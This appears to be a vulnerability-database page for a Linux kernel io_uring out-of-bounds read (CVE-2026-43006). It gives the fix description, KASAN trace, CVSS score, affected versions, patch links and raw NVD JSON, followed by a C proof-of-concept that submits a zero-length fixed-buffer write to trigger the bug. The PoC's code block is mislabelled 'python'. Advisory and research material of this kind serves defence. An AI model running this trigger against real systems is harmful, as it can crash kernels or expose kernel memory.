CVE-2026-43006

Description

In the Linux kernel, the following vulnerability has been resolved: io_uring/rsrc: reject zero-length fixed buffer import validate_fixed_range() admits buf_addr at the exact end of the registered region when len is zero, because the check uses strict greater-than (buf_end > imu->ubuf + imu->len). io_import_fixed() then computes offset == imu->len, which causes the bvec skip logic to advance past the last bio_vec entry and read bv_offset from out-of-bounds slab memory. Return early from io_import_fixed() when len is zero. A zero-length import has no data to transfer and should not walk the bvec array at all. BUG: KASAN: slab-out-of-bounds in io_import_reg_buf+0x697/0x7f0 Read of size 4 at addr ffff888002bcc254 by task poc/103 Call Trace: io_import_reg_buf+0x697/0x7f0 io_write_fixed+0xd9/0x250 __io_issue_sqe+0xad/0x710 io_issue_sqe+0x7d/0x1100 io_submit_sqes+0x86a/0x23c0 __do_sys_io_uring_enter+0xa98/0x1590 Allocated by task 103: The buggy address is located 12 bytes to the right of allocated 584-byte region [ffff888002bcc000, ffff888002bcc248)

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前的特定版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <liburing.h>

// PoC for CVE-2026-43006: io_uring zero-length fixed buffer import OOB read

#define BUFFER_SIZE 4096

int main() {
    struct io_uring ring;
    struct io_uring_params p = {};
    struct iovec iovs[1];
    int ret;

    // Initialize io_uring
    ret = io_uring_queue_init_params(8, &ring, &p);
    if (ret < 0) {
        perror("io_uring_queue_init_params");
        return 1;
    }

    // Allocate and register buffers
    char *buf = aligned_alloc(BUFFER_SIZE, BUFFER_SIZE);
    if (!buf) {
        perror("aligned_alloc");
        return 1;
    }
    
    iovs[0].iov_base = buf;
    iovs[0].iov_len = BUFFER_SIZE;

    ret = io_uring_register_buffers(&ring, iovs, 1);
    if (ret < 0) {
        perror("io_uring_register_buffers");
        return 1;
    }

    // Submit a write_fixed request with len=0
    // Address is set to the end of the registered region to trigger the bug
    struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
    io_uring_prep_write_fixed(sqe, 1, buf + BUFFER_SIZE, 0, 0, 0);
    
    // Submit the request
    ret = io_uring_submit(&ring);
    if (ret < 0) {
        perror("io_uring_submit");
    }

    // Wait for completion (may crash here)
    struct io_uring_cqe *cqe;
    ret = io_uring_wait_cqe(&ring, &cqe);
    if (ret < 0) {
        perror("io_uring_wait_cqe");
    }
    
    printf("PoC executed. Check dmesg for KASAN reports.\n");
    
    io_uring_queue_exit(&ring);
    free(buf);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43006
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43006
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43006/
[4] VulDB https://vuldb.com/cve/CVE-2026-43006
[5] https://git.kernel.org/stable/c/040a1e7e0e2f01851fec1dd2d96906f8636a9f75
[6] https://git.kernel.org/stable/c/111a12b422a8cfa93deabaef26fec48237163214
[7] https://git.kernel.org/stable/c/40170fc1a79c1b2e68f09ae6aac687b7305ae6f4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43006", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:44.450", "lastModified": "2026-05-12T19:32:36.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/rsrc: reject zero-length fixed buffer import\n\nvalidate_fixed_range() admits buf_addr at the exact end of the\nregistered region when len is zero, because the check uses strict\ngreater-than (buf_end > imu->ubuf + imu->len). io_import_fixed()\nthen computes offset == imu->len, which causes the bvec skip logic\nto advance past the last bio_vec entry and read bv_offset from\nout-of-bounds slab memory.\n\nReturn early from io_import_fixed() when len is zero. A zero-length\nimport has no data to transfer and should not walk the bvec array\nat all.\n\n BUG: KASAN: slab-out-of-bounds in io_import_reg_buf+0x697/0x7f0\n Read of size 4 at addr ffff888002bcc254 by task poc/103\n Call Trace:\n io_import_reg_buf+0x697/0x7f0\n io_write_fixed+0xd9/0x250\n __io_issue_sqe+0xad/0x710\n io_issue_sqe+0x7d/0x1100\n io_submit_sqes+0x86a/0x23c0\n __do_sys_io_uring_enter+0xa98/0x1590\n Allocated by task 103:\n The buggy address is located 12 bytes to the right of\n allocated 584-byte region [ffff888002bcc000, ffff888002bcc248)"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.15", "versionEndExcluding": "6.18.22", "matchCriteriaId": "A0B69104-1744-49F9-BFD7-533364994A3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/040a1e7e0e2f01851fec1dd2d96906f8636a9f75", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/111a12b422a8cfa93deabaef26fec48237163214", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/40170fc1a79c1b2e68f09ae6aac687b7305ae6f4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}